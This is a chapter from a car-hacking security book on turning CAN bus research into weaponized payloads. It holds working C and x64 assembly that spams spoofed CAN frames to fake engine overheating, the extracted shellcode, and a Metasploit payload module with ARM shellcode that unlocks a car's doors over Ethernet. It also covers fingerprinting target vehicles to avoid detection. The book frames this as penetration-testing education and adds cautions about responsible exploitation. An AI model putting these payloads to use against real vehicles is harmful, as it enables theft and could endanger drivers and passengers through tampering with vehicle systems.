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FINDINGS

Now that you’re able to explore and identify CAN packets,
it’s time to put that knowledge to use and learn to hack
something. You’ve already used your identified packets to
perform actions on a car, but unlocking or starting a car
using packets is recon, rather than actual hacking. The goal
of this chapter is to show you how to weaponize your
findings. In the software world, weaponize means “take an
exploit and make it easy to execute.” When you first find a



vulnerability, it may take many steps and specific knowledge
to successfully pull off the exploit. Weaponizing a finding
enables you to take your research and put it into a self-
contained executable.

In this chapter, we’ll see how to take an action—for example,
unlocking a car—and put it into Metasploit, a security
auditing tool designed to exploit software. Metasploit is a
popular attack framework often used in penetration testing.
It has a large database of functional exploits and payloads,
the code that runs once a system has been exploited—for
example, once the car has been unlocked. You’ll find a
wealth of information on Metasploit online and in print,
including Metasploit: The Penetration Tester’s Guide (No
Starch Press, 2011).

In order to weaponize your findings you will need to write
code. In this chapter, we’ll write a Metasploit payload
designed to target the architecture of the infotainment or
telematics system. As our first exercise, we’ll write shellcode,
the small snippet of code that’s injected into an exploit, to
create a CAN signal that will control a vehicle’s temperature
gauge. We’ll include a loop to make sure our spoofed CAN
signal is continuously sent, with a builtin delay to prevent the
bus from being flooded with packets that might create an
inadvertent denial-of-service attack. Next, we’ll write the
code to control the temperature gauge. Then, we’ll convert



that code into shellcode so that we can fine-tune it to make
the shellcode smaller or reduce NULL values if necessary.
When we’re finished, we’ll have a payload that we can place
into a specialized tool or use with an attack framework like
Metasploit.

NOTE

To get the most out of this chapter, you’ll need to have a
good understanding of programming and programming
methodologies. I assume some familiarity with C and
assembly languages, both x86 and ARM, and the Metasploit
framework.

Writing the Exploit in C

We’ll write the exploit for this spoofed CAN signal in C
because C compiles to fairly clean assembly that we can
reference to make our shellcode. We’ll use vcan0, a virtual
CAN device, to test the exploit, but for the real exploit, you’d
want to instead use can0 or the actual CAN bus device that
you’re targeting. Listing 11-1 shows the temp_shell exploit.

NOTE

You’ll need to create a virtual CAN device in order to test
this program. See Chapter 3 for details.

In Listing 11-1, we create a CAN packet with an arbitration ID



of 0x510 and set the second byte to 0xFF. The second byte
of the 0x510 packet represents the engine temperature. By
setting this value to 0xFF, we max out the reported engine
temperature, signaling that the vehicle is overheating. The
packet needs to be sent repeatedly to be effective.

--- temp_shell.c
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/ioctl.h>
 #include <net/if.h>
 #include <netinet/in.h>
 #include <linux/can.h>
 #include <string.h>

 int main(int argc, char *argv[]) {
     int s;
     struct sockaddr_can addr;

     struct ifreq ifr;
     struct can_frame frame;

     s = socket(❶PF_CAN, SOCK_RAW, CAN_RAW);

     strcpy(ifr.ifr_name, ❷"vcan0");
     ioctl(s, SIOCGIFINDEX, &ifr);



     addr.can_family = AF_CAN;
     addr.can_ifindex = ifr.ifr_ifindex;

     bind(s, (struct sockaddr *)&addr, sizeof(addr));

❸    frame.can_id = 0x510;
     frame.can_dlc = 8;
     frame.data[1] = 0xFF;
     while(1) {
       write(s, &frame, sizeof(struct can_frame));
❹      usleep(500000);
     }
 }

Listing 11-1: C loop to spam CAN ID 0x510

Listing 11-1 sets up a socket in almost the same way as you’d
set up a normal networking socket, except it uses the CAN
family PF_CAN ❶. We use ifr_name to define which interface
we want to listen on—in this case, "vcan0" ❷.

We can set up our frame using a simple frame structure that
matches our packet, with can_id ❸ containing the arbitration
ID, can_dlc containing the packet length, and
the data[] array holding the packet contents.

We want to send this packet more than once, so we set up
a while loop and set a sleep timer ❹ to send the packet at



regular intervals. (Without the sleep statement, you’d flood
the bus and other signals wouldn’t be able to talk properly.)

To confirm that this code works, compile it as shown here:

$ gcc -o temp_shellcode temp_shellcode.c
$ ls -l temp_shell
-rwxrwxr-x 1 craig craig 8722 Jan 6 07:39 temp_shell
$ ./temp_shellcode

Now run candump in a separate window on vcan0, as shown
in the next listing. The temp_shellcode program should send
the necessary CAN packets to control the temperate gauge.

$ candump vcan0
  vcan0  ❶510   [8]   ❷5D  ❸FF  ❹40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00
  vcan0   510   [8]    5D   FF    40 00 00 00 00 00

The candump results show that the signal 0x510 ❶ is
repeatedly broadcast and that the second byte is properly
set to 0xFF ❸. Notice that the other values of the CAN
packet are set to values that we didn’t specify, such as
0x5D ❷ and 0x40 ❹. This is because we didn’t initialize
the frame.data section, and there is some memory garbage
in the other bytes of the signal. To get rid of this memory
garbage, set the other bytes of the 0x510 signal to the



values you recorded during testing when you identified the
signal—that is, set the other bytes to frame.data[].

Converting to Assembly Code

Though our temp_shell program is small, it’s still almost 9KB
because we wrote it in C, which includes a bunch of other
libraries and code stubs that increase the size of the
program. We want our shellcode to be as small as possible
because we’ll often have only a small area of memory
available for our exploit to run, and the smaller our shellcode,
the more places it can be injected.

In order to shrink the size of our program, we’ll convert its C
code to assembly and then convert the assembly shellcode.
If you’re already familiar with assembly language, you could
just write your code in assembly to begin with, but most
people find it easier to test their payloads in C first.

The only difference between writing this script and standard
assembly scripts is that you’ll need to avoid creating NULLs,
as you may want to inject the shellcode into a buffer that
might null-terminate. For example, buffers that are treated
as strings will scan the values and stop when it see a NULL
value. If your payload has a NULL in the middle, your code
won’t work. (If you know that your payload will never be used
in a buffer that will be interpreted as a string, then you can
skip this step.)



NOTE

Alternatively, you could wrap your payload with an encoder
to hide any NULLs, but doing so will increase its size, and
using encoders is beyond the scope of this chapter. You also
won’t have a data section to hold all of your string and
constant values as you would in a standard program. We
want our code to be self-sufficient and we don’t want to rely
on the ELF header to set up any values for us, so if we want
to use strings in our payload, we have to be creative in how
we place them on the stack.

In order to convert the C code to assembly, you will need to
review the system header files. All method calls go right to
the kernel, and you can see them all in this header file:

/usr/include/asm/unistd_64.h

For this example, we’ll use 64-bit assembly, which uses the
following
registers: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %rbp, %rsp, 
%r8, %r15, %rip, %eflags, %cs, %ss, %ds, %es, %fs,
and %gs.

To call a kernel system call, use syscall—rather than int 0x80
—where %rax has the system call number, which you can
find in unistd_64.h. The parameters are passed in the
registers in this order: %rdi, %rsi, %rdx, %r10, %r8, and %r9.



Note that the register order is slightly different than when
passing arguments to a function.

Listing 11-2 shows the resulting assembly code that we store
in the temp_shell.s file.

--- temp_shell.S
section .text
global _start

_start:
                             ; s = socket(PF_CAN, SOCK_RAW,
CAN_RAW);
  push 41                    ; Socket syscall from unistd_64.h
  pop rax
  push 29                    ; PF_CAN from socket.h
  pop rdi
  push 3                     ; SOCK_RAW from socket_type.h
  pop rsi
  push 1                     ; CAN_RAW from can.h
  pop rdx
  syscall
  mov r8, rax                ; s / File descriptor from socket
                             ; strcpy(ifr.ifr_name, "vcan0");
  sub rsp, 40                ;  struct ifreq is 40 bytes
  xor r9, r9                 ; temp register to hold interface name
  mov r9, 0x306e616376       ; vcan0



  push r9
  pop qword [rsp]
                             ; ioctl(s, SIOCGIFINDEX, &ifr);
  push 16                    ; ioctrl from unistd_64.h
  pop rax
  mov rdi, r8                ; s / File descriptor
  push 0x8933                ; SIOCGIFINDEX from ioctls.h
  pop rsi
  mov rdx, rsp               ; &ifr
  syscall
  xor r9, r9                 ; clear r9
  mov r9, [rsp+16]           ; ifr.ifr_ifindex
                             ; addr.can_family = AF_CAN;
  sub rsp, 16                ; sizeof sockaddr_can
  mov word [rsp], 29         ; AF_CAN == PF_CAN
                             ; addr.can_ifindex = ifr.ifr_ifindex;
  mov [rsp+4], r9
                             ; bind(s, (struct sockaddr *)&addr,
sizeof(addr));
  push 49                    ; bind from unistd_64.h
  pop rax
  mov rdi, r8                ; s /File descriptor
  mov rsi, rsp               ; &addr
  mov rdx, 16                ; sizeof(addr)
  syscall
  sub rsp, 16                ; sizeof can_frame
  mov word [rsp], 0x510      ; frame.can_id = 0x510;



  mov byte [rsp+4], 8        ;  frame.can_dlc = 8;

  mov byte [rsp+9], 0xFF     ;  frame.data[1] = 0xFF;
                             ; while(1)
loop:
                             ; write(s, &frame, sizeof(struct can_frame));
  push 1                     ; write from unistd_64.h
  pop rax
  mov rdi, r8                ; s / File descriptor
  mov rsi, rsp               ; &frame
  mov rdx, 16                ; sizeof can_frame
  syscall
                             ; usleep(500000);
  push 35                    ; nanosleep from unistd_64.h
  pop rax
  sub rsp, 16
  xor rsi, rsi
  mov [rsp], rsi             ; tv_sec
  mov dword [rsp+8], 500000  ; tv_nsec
  mov rdi, rsp
  syscall
  add rsp, 16
  jmp loop

Listing 11-2: Sending CAN ID 0x510 packets in 64-bit
assembly



The code in Listing 11-2 is exactly the same as the C code
we wrote in Listing 11-1, except that it’s now written in 64-bit
assembly.

NOTE

I’ve commented the code to show the relationship between
the lines of the original C code and each chunk of assembly
code.

To compile and link the program to make it an executable,
use nasm and ld, as shown here:

$ nasm -f elf64 -o temp_shell2.o temp_shell.S
$ ld -o temp_shell2 temp_shell2.o
$ ls -l temp_shell2
-rwxrwxr-x 1 craig craig ❶1008 Jan  6 11:32 temp_shell2

The size of the object header now shows that the program is
around 1008 bytes ❶, or just over 1KB, which is significantly
smaller than the compiled C program. Once we strip the ELF
header caused by the linking step (ld), our code will be even
smaller still.

Converting Assembly to Shellcode

Now that your program is of more suitable size, you can use
one line of Bash to convert your object file to shellcode right
at the command line, as shown in Listing 11-3.



$ for i in $(objdump -d temp_shell2.o -M intel |grep "^ "
|cut -f2); do echo
-n '\x'$i; done;echo
\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\
x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00
\x00\x41\x51\x8f\x04\
x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x4
8\x89\xe2\x0f\x05\x4d\
x31\xc9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\
x24\x1d\x00\x4c\x89\
x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10
\x00\x00\x00\x0f\x05\
x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04
\x08\xc6\x44\x24\x09\
xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\
x00\x0f\x05\x6a\x23\
x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44
\x24\x08\x20\xa1\x07\
x00\x48\x89\xe7\x0f\x05\x48\x83\xc4\x10\xeb\xcf

Listing 11-3: Converting object file to shellcode

This series of commands runs through your compiled object
file and pulls out the hex bytes that make up the program,
printing them to the screen. The bytes output is your
shellcode. If you count up the printed bytes, you can see that



this shellcode is 168 bytes—that’s more like it.

Removing NULLs

But we’re not done yet. If you look at the shellcode in Listing
11-3, you’ll notice that we still have some NULL values (\x00)
that we need to eliminate. One way to do so is to use a
loader, which Metasploit has, to wrap the bytes or rewrite
parts of the code to eliminate the NULLs.

You could also rewrite your assembly to remove NULLs from
the final assembly, typically by replacing MOVs and values
that would have NULLs in them with a command to erase a
register and another command to add the appropriate value.
For instance, a command like MOV RDI, 0x03 will convert to
hex that has a lot of leading NULLs before the 3. To get
around this, you could first XOR RDI to itself (XOR RDI, RDI),
which would result in RDI being a NULL, and then increase
RDI (INC RDI) three times. You may have to be creative in
some spots.

Once you’ve made the modifications to remove these NULL
values, you can convert the shellcode to code that can be
embedded in a string buffer. I won’t show the altered
assembly code because it’s not very legible, but the new
shellcode looks like this:

\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\



x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x41\xb9\x30\x00\x00\x00\x49\xc1\xe1\
x20\x49\x81\xc1\x76\
x63\x61\x6e\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\
x41\xb9\x11\x11\x33\
x89\x49\xc1\xe9\x10\x41\x51\x5e\x48\x89\xe2\x0f\x05\x4d\
x31\xc9\x4c\x8b\x4c\
x24\x10\x48\x83\xec\x10\xc6\x04\x24\x1d\x4c\x89\x4c\x24\
x04\x6a\x31\x58\x4c\
x89\xc7\x48\x89\xe6\xba\x11\x11\x11\x10\x48\xc1\xea\x18\x0
f\x05\x48\x83\xec\
x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44
\x24\x09\xff\x6a\x01\
x58\x4c\x89\xc7\x48\x89\xe6\x0f\x05\x6a\x23\x58\x48\x83
\xec\x10\x48\x31\xf6\
x48\x89\x34\x24\xc7\x44\x24\x08\x00\x65\xcd\x1d\x48\x8
9\xe7\x0f\x05\x48\x83\
xc4\x10\xeb\xd4

Creating a Metasploit Payload

Listing 11-4 is a template for a Metasploit payload that uses
our shellcode. Save this payload
in modules/payloads/singles/linux/armle/, and name it
something similar to the action that you’ll be performing,
like flood_temp.rb. The example payload in Listing 11-4 is
designed for an infotainment system on ARM Linux with an



Ethernet bus. Instead of modifying temperature, this
shellcode unlocks the car doors. The following code is a
standard payload structure, other than the payload variable
that we set to the desired vehicle shellcode.

   Require 'msf/core'

   module Metasploit3
      include Msf::Payload::Single
      include Msf::Payload::Linux

     def initialize(info = {})
       super(merge_info(info,
         'Name'          => 'Unlock Car',
         'Description'   => 'Unlocks the Driver Car Door over
Ethernet',
         'Author'        => 'Craig Smith',
         'License'       => MSF_LICENSE,
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMLE))
      end
      def generate_stage(opts={})

❶      payload =
"\x02\x00\xa0\xe3\x02\x10\xa0\xe3\x11\x20\xa0\xe3\x07\x0
0\x2d\
   xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0



c\xd0\x8d\xe2\x00\x60\
   xa0\xe1\x21\x13\xa0\xe3\x4e\x18\x81\xe2\x02\x10\x81\xe2\
xff\x24\xa0\xe3\x45\
   x28\x82\xe2\x2a\x2b\x82\xe2\xc0\x20\x82\xe2\x06\x00\x
2d\xe9\x0d\x10\xa0\xe1\
   x10\x20\xa0\xe3\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x1
0\xa0\xe1\x66\x00\x90\
   xef\x14\xd0\x8d\xe2\x12\x13\xa0\xe3\x02\x18\x81\xe2\x02\
x28\xa0\xe3\x00\x30\
   xa0\xe3\x0e\x00\x2d\xe9\x0d\x10\xa0\xe1\x0c\x20\xa0\xe
3\x06\x00\xa0\xe1\x07\
   x00\x2d\xe9\x09\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x9
0\xef\x0c\xd0\x8d\xe2\
   x00\x00\xa0\xe3\x1e\xff\x2f\xe1"
      end
   end

Listing 11-4: Template for Metasploit payload using our
shellcode

The payload variable ❶ in Listing 11-4 translates to the
following ARM assembly code:

      /* Grab a socket handler for UDP */
      mov     %r0, $2 /* AF_INET */
      mov     %r1, $2 /* SOCK_DRAM */
      mov     %r2, $17        /* UDP */
      push    {%r0, %r1, %r2}



      mov     %r0, $1 /* socket */
      mov     %r1, %sp
      svc     0x00900066
      add     %sp, %sp, $12

      /* Save socket handler to %r6 */
      mov     %r6, %r0

      /* Connect to socket */
      mov     %r1, $0x84000000
      add     %r1, $0x4e0000
      add     %r1, $2         /* 20100 & AF_INET */
      mov     %r2, $0xff000000
      add     %r2, $0x450000
      add     %r2, $0xa800
      add     %r2, $0xc0 /* 192.168.69.255 */
      push    {%r1, %r2}
      mov     %r1, %sp
      mov     %r2, $16        /* sizeof socketaddr_in */
      push    {%r0, %r1, %r2}
      mov     %r0, $3 /* connect */
      mov     %r1, %sp
      svc     0x00900066
      add     %sp, %sp, $20

      /* CAN Packet */
      /* 0000 0248 0000 0200 0000 0000 */



      mov     %r1, $0x48000000  /* Signal */
      add     %r1, $0x020000
      mov     %r2, $0x00020000  /* 1st 4 bytes */
      mov     %r3, $0x00000000  /* 2nd 4 bytes */
      push    {%r1, %r2, %r3}
      mov     %r1, %sp
      mov     %r2, $12        /* size of pkt */

      /* Send CAN Packet over UDP */
      mov     %r0, %r6
      push    {%r0, %r1, %r2}
      mov     %r0, $9 /* send */
      mov     %r1, %sp
      svc     0x00900066
      add     %sp, %sp, $12

      /* Return from main - Only for testing, remove for exploit
*/
      mov     %r0, $0
      bx      lr

This code is similar to the shellcode we created in Listing 11-
3, except that it’s built for ARM rather than x64 Intel, and it
functions over Ethernet instead of talking directly to the CAN
drivers. Of course, if the infotainment center uses a CAN
driver rather than an Ethernet driver, you need to write to the
CAN driver instead of the network.



Once you have a payload ready, you can add it to the arsenal
of existing Metasploit exploits for use against a vehicle’s
infotainment center. Because Metasploit parses the payload
file, you can simply choose it as an option to use against any
target infotainment unit. If a vulnerability is found, the
payload will run and perform the action of the packet you
mimicked, such as unlocking the doors, starting the car, and
so on.

NOTE

You could write your weaponizing program in assembly and
use it as your exploit rather than going through Metasploit,
but I recommend using Metasploit. It has a large collection
of vehicle-based payloads and exploits available, so it’s
worth the extra time it takes to convert your code.

Determining Your Target Make

So far you’ve located a vulnerability in an infotainment unit
and you have the CAN bus packet payload ready to go. If
your intention was to perform a security engagement on just
one type of vehicle, you’re good to go. But if you intend to
use your payload on all vehicles with a particular
infotainment or telematics system installed, you have a bit
more to do; these systems are installed by various
manufacturers and CAN bus networks vary between
manufacturers and even between models.



In order to use this exploit against more than one type of
vehicle, you’ll need to detect the make of the vehicle that
your shellcode is executing on before transmitting packets.

WARNING

Failure to detect the make of the vehicle could produce
unexpected results and could be very dangerous! For
example, a packet that on one make of vehicle unlocks the
car door could bleed the brakes on another. There’s no way
to know for sure where your exploit will run, so be sure to
verify the vehicle.

Determining the make of vehicle is analogous to determining
which OS version the target host is running, as we did in
“Determining the Update File Type” on page 160. You may
be able to find this information in the memory space of the
infotainment unit by adding the ability to scan RAM in your
shellcode. Otherwise, there are two ways to determine what
type of vehicle your code is running on via the CAN bus:
interactive probing and passive CAN bus fingerprinting.

Interactive Probing

The interactive probing method involves using the ISO-TP
packets to query the PID that holds the VIN. If we can access
the VIN and decipher the code, it’ll tell us the make and
model of the target vehicle.



Querying the VIN

Recall from “Sending Data with ISO-TP and CAN” on page
55 that you use the OBD-II Mode 2 PID 9 protocol to query
the VIN. This protocol uses the ISO-TP multipacket
standard, which can be cumbersome to implement in
shellcode. You can, however, just take what you need from
the ISO-TP standard rather than implementing it in full. For
example, because ISO-TP runs as normal CAN traffic, you
could send a packet with your shellcode using an ID of
0x7DF and a 3-byte packet payload of 0x02 0x09 0x02;
then you could receive normal CAN traffic with an ID 0x7E8.
The first packet received will be part of a multipart packet
followed by the remaining packets. The first packet has the
most significant information in it and may be all you need to
differentiate between vehicles.

NOTE

You could assemble the multipart packet yourself and then
implement a full VIN decoder, but doing so can be
inefficient. Regardless of whether you reassemble the full
VIN or just use a segment of the VIN, it’s better to decode
the VIN yourself.

Decoding the VIN

The VIN has a fairly simple layout. The first three characters,



known as the World Manufacturer Identifier (WMI) code,
represent the make of the vehicle. The first character in the
WMI code determines the region of manufacture. The next
two characters are manufacturer specific. (The list is too
long to print here, but you can find a list of WMI codes with a
simple online search.) For example, in Chapter 4 (see Table
4-4 on page 57) we had a VIN of 1G1ZT53826F109149,
which gave us a WMI of 1G1. According to the WMI codes,
this tells us that the make of the car is Chevrolet.

The next 6 bytes of the VIN make up the Vehicle Descriptor
Section (VDS). The first 2 bytes in the VDS—bytes 4 and 5 of
the VIN—tell us the vehicle model and other specs, such as
how many doors the vehicle has, the engine size, and so on.
For example, in the VIN 1G1ZT53826F109149, the VDS is
ZT5382, of which ZT gives us the model. A quick search
online tells us that this is a Chevrolet Malibu. (The details of
the VDS vary depending on the vehicle and the
manufacturer.)

If you need the year your vehicle was made, you’ll have to
grab more packets because the year is stored at byte 10.
This byte isn’t directly translatable, and you’ll need to use a
table to determine the year (see Table 11-1).

Table 11-1: Determining the Year of Manufacture

Character Year Character Year Character Year Character



For exploit purposes, knowing the year isn’t as important as
knowing whether your code will work on your target vehicle,
but if your exploit depends on an exact make, model, and
year, you’ll need to perform this step. For instance, if you
know that the infotainment system you’re targeting is
installed in both Honda Civics and Pontiac Azteks, you can
check the VIN to see whether your target vehicle fits.
Hondas are manufactured in Japan and Pontiacs are made in
North America, so the first byte of the WMI needs to be
either a J or a 1, respectively.

NOTE

Your payload would still work on other vehicles made in
North America or Japan if that radio unit is installed in some
other vehicle that you’re unaware of.

A 1980 L 1990 Y 2000 A

B 1981 M 1991 1 2001 B

C 1982 N 1992 2 2002 C

D 1983 P 1993 3 2003 D

E 1984 R 1994 4 2004 E

F 1985 W 1995 5 2005 F

G 1986 T 1996 6 2006 G

H 1987 V 1997 7 2007 H

J 1988 W 1998 8 2008 J

K 1989 X 1999 9 2009 K



Once you know what platform you’re running on, you can
either execute the proper payload if you’ve found the right
vehicle or exit out gracefully.

Detection Risk of Interactive Probing

The advantage of using interactive probing to determine the
make of your target vehicle is that this method will work for
any make or model of car. Every car has a VIN that can be
decoded to give you the information you need, and you need
no prior knowledge of the platform’s CAN packets in order to
make a VIN query. However, this method does require you
to transmit the query on the CAN bus, which means it’s
detectable and you may be discovered before you can
trigger your payload. (Also, our examples used cheap hacks
to avoid properly handling ISO-TP, which could lead to
errors.)

Passive CAN Bus Fingerprinting

If you’re concerned about being detected before you can
use your payload, you should avoid any sort of active
probing. Passive CAN bus fingerprinting is less detectable,
so if you discover that the model vehicle you’re targeting
isn’t supported by your exploit, you can exit gracefully
without having created any network traffic, thus limiting your
chances of being detected. Passive CAN bus fingerprinting
involves monitoring network traffic to gather information



unique to certain makes of vehicles and then matching that
information to a known fingerprint. This area of research is
relatively new, and as of this writing, the only tools available
for gathering and detecting bus fingerprints are the ones
released by Open Garages.

The concept of passive CAN bus fingerprinting is taken from
IPv4 passive operating system fingerprinting, like that used
by the p0f tool. When passive IPv4 fingerprinting, details in
the packet header, such as the window size and TTL values,
can be used to identify the operating system that created
the packet. By monitoring network traffic and knowing which
operating systems set which values in the packet header by
default, it’s possible to determine which operating system
the packet originated from without transmitting on the
network.

We can use a similar methodology with CAN packets. The
unique identifiers for CAN are as follows:

• Dynamic size (otherwise set to 8 bytes)

• Intervals between signals

• Padding values (0x00, 0xFF 0xAA, and so on)

• Signals used

Because different makes and models use different signals,



unique signal IDs can reveal the type of vehicle that’s being
examined. And even when the signal IDs are the same, the
timing intervals can be unique. Each CAN packet has a DLC
field to define the length of the data, though some
manufacturers will set this to 8 by default and pad out the
data to always ensure that 8 bytes are used. Manufacturers
will use different values to pad their data, so this can also be
an indicator of the make.

CAN of Fingers

The Open Garages tool for passive fingerprinting is
called CAN of Fingers (c0f) and is available for free
at https://github.com/zombieCraig/c0f/. c0f samples a
bunch of CAN bus packets and creates a fingerprint that can
later be identified and stored. A fingerprint from c0f—a
JSON consumable object—might look like this:

{"Make": "Unknown", "Model": "Unknown", "Year":
"Unknown", "Trim": "Unknown",
"Dynamic": "true", "Common": [ { "ID": "166" },{ "ID": "158"
},{ "ID": "161" },
{ "ID": "191" },{ "ID": "18E" },{ "ID": "133" },{ "ID": "136" },{
"ID": "13A" },
{ "ID": "13F" },{ "ID": "164" },{ "ID": "17C" },{ "ID": "183" },{
"ID": "143" },
{ "ID": "095" } ], "MainID": "143", "MainInterval":
"0.009998683195847732"}



Five fields make up the fingerprint: Make, Model, Year, Trim,
and Dynamic. The first four values—Make, Model, Year,
and Trim—are all listed as Unknown if they’re not in the
database. Table 11-2 lists the identified attributes that are
unique to the vehicle.

Table 11-2: Vehicle Attributes for Passive Fingerprinting

Attribute Value
type

Description

Dynamic Binary
value

If the DLC has a dynamic length, this is
set to true.

Padding Hex
value

If padding is used, this attribute will be
set to the byte used for padding. This
example does not have padding, so the
attribute is not included.

Common Array of
IDs

The common signal IDs based on the
frequency seen on the bus.

Main ID Hex ID The most common signal ID based on the
frequency of occurrence and interval.

Main
Interval

Floating
point
value

The shortest interval time of the most
common ID (MainID) that repeats on the
bus.

Using c0f

Many CAN signals that fire at intervals will appear in a logfile
the same amount of times as each other, with similar
intervals between occurrences. c0f will group the signals
together by the number of occurrences.



To get a better idea of how c0f determines the common and
main IDs, run c0f with the --print-stats option, as shown
in Listing 11-5.

   $ bundle exec bin/c0f --logfile test/sample-can.log --
print-stats
     Loading
Packets...   6158/6158  |*************************************
******
   *******|  0:00
   Packet Count (Sample Size): 6158
   Dynamic bus: true
   [Packet Stats]
    166 [4] interval 0.010000110772939828 count 326
    158 [8] interval 0.009999947181114783 count 326
    161 [8] interval 0.009999917103694035 count 326
    191 [7] interval 0.009999932509202223 count 326
    18E [3] interval 0.010003759677593524 count 326
    133 [5] interval 0.0099989076761099 count 326
    136 [8] interval 0.009998913544874925 count 326
    13A [8] interval 0.009998914278470553 count 326
    13F [8] interval 0.009998904741727389 count 326
    164 [8] interval 0.009998898872962365 count 326
    17C [8] interval 0.009998895204984225 count 326
    183 [8] interval 0.010000821627103366 count 326
❶  039 [2] interval 0.015191149488787786 count 215
❷  143 [4] interval 0.009998683195847732 count 326



    095 [8] interval 0.010001396766075721 count 326
    1CF [6] interval 0.01999976016857006 count 163
    1DC [4] interval 0.019999777829205548 count 163
    320 [3] interval 0.10000315308570862 count 33
    324 [8] interval 0.10000380873680115 count 33
    37C [8] interval 0.09999540448188782 count 33
    1A4 [8] interval 0.01999967775227111 count 163
    1AA [8] interval 0.019999142759334967 count 162
    1B0 [7] interval 0.019999167933967544 count 162
    1D0 [8] interval 0.01999911758470239 count 162
    294 [8] interval 0.039998024702072144 count 81
    21E [7] interval 0.039998024702072144 count 81
    309 [8] interval 0.09999731183052063 count 33
    333 [7] interval 0.10000338862019201 count 32
    305 [2] interval 0.1043075958887736 count 31
    40C [8] interval 0.2999687910079956 count 11
    454 [3] interval 0.2999933958053589 count 11
    428 [7] interval 0.3000006914138794 count 11
    405 [8] interval 0.3000005006790161 count 11
    5A1 [8] interval 1.00019109249115 count 3

Listing 11-5: Running c0f with the --print-stats option

The common IDs are the grouping of signals that occurred
326 times (the highest count). The main ID is the common ID
with the shortest average interval—in this case, signal 0x143
at 0.009998 ms ❷.



The c0f tool saves these fingerprints in a database so that
you can passively identify buses, but for the purpose of
shellcode development, we can just use main ID and main
interval to quickly determine whether we’re on the target we
expect to be on. Taking the result shown in Listing 11-5 as
our target, we’d listen to the CAN socket for signal 0x143
and know that the longest we’d have to wait is 0.009998 ms
before aborting if we didn’t see an ID of 0x143. (Just be sure
that when you’re checking how much time has passed since
you started sniffing the bus, you use a time method with
high precision, such as clock_gettime.) You could get more
fine-grained identification by ensuring that you also
identified all of the common IDs as well.

It’s possible to design fingerprints that aren’t supported by
c0f. For instance, notice in the c0f statistical output in Listing
11-5 that the signal ID 0x039 occurred 215 times ❶. That’s a
strange ratio compared to the other common packets. The
common packets are occurring about 5 percent of the time,
but 0x039 occurs about 3.5 percent of the time and is the
only signal with that ratio. Your shellcode could gather a
common ID and calculate the ratio of 0x039 occurring to see
whether it matches. This could just be a fluke based on
current vehicle conditions at the time of the recording, but it
might be interesting to investigate. The sample size should
be increased and multiple runs should be used to verify
findings before embedding the detection into your



shellcode.

NOTE

c0f isn’t the only way to quickly detect what type of vehicle
you’re on; the output could be used for additional creative
ways to identify your target system without transmitting
packets. The future may bring systems that can hide from
c0f, or we may discover a newer, more efficient way to
passively identify a target vehicle.

Responsible Exploitation

You now know how to identify whether your exploit is
running on the target it’s designed for and even how to
check without transmitting a single packet. You don’t want to
flood a bus with a bogus signal, as this will shut the network
down, and flooding the wrong signal on the wrong vehicle
can have unknown affects.

When sharing exploit code, consider adding a bogus
identification routine or complete VIN check to prevent
someone from simply launching your exploit haphazardly.
Doing so will at least force the script kiddies to understand
enough of the code to modify it to fit the proper vehicles.
When attacking interval-based CAN signals, the proper way
to do this is to listen for the CAN ID you want to modify and,
when you receive it through your read request, to



modify only the byte(s) you want to alter and immediately
send it back out. This will prevent flooding, immediately
override the valid signal, and retain any other attributes in
the signal that aren’t the target of the attack.

Security developers need access to exploits to test the
strength of their protections. New ideas from both the attack
and defense teams need to be shared, but do so responsibly.

Summary

In this chapter, you learned how to build working payloads
from your research. You took proof-of-concept C code,
converted it to payloads in assembly, and then converted
your assembly to shellcodes that you could use with
Metasploit to make your payloads more modular. You also
learned safe ways to ensure that your payloads wouldn’t
accidentally be run on unexpected vehicles with the help of
VIN decoding and passive CAN bus identification
techniques. You even learned some ways to prevent script
kiddies from taking your code and injecting it into random
vehicles.


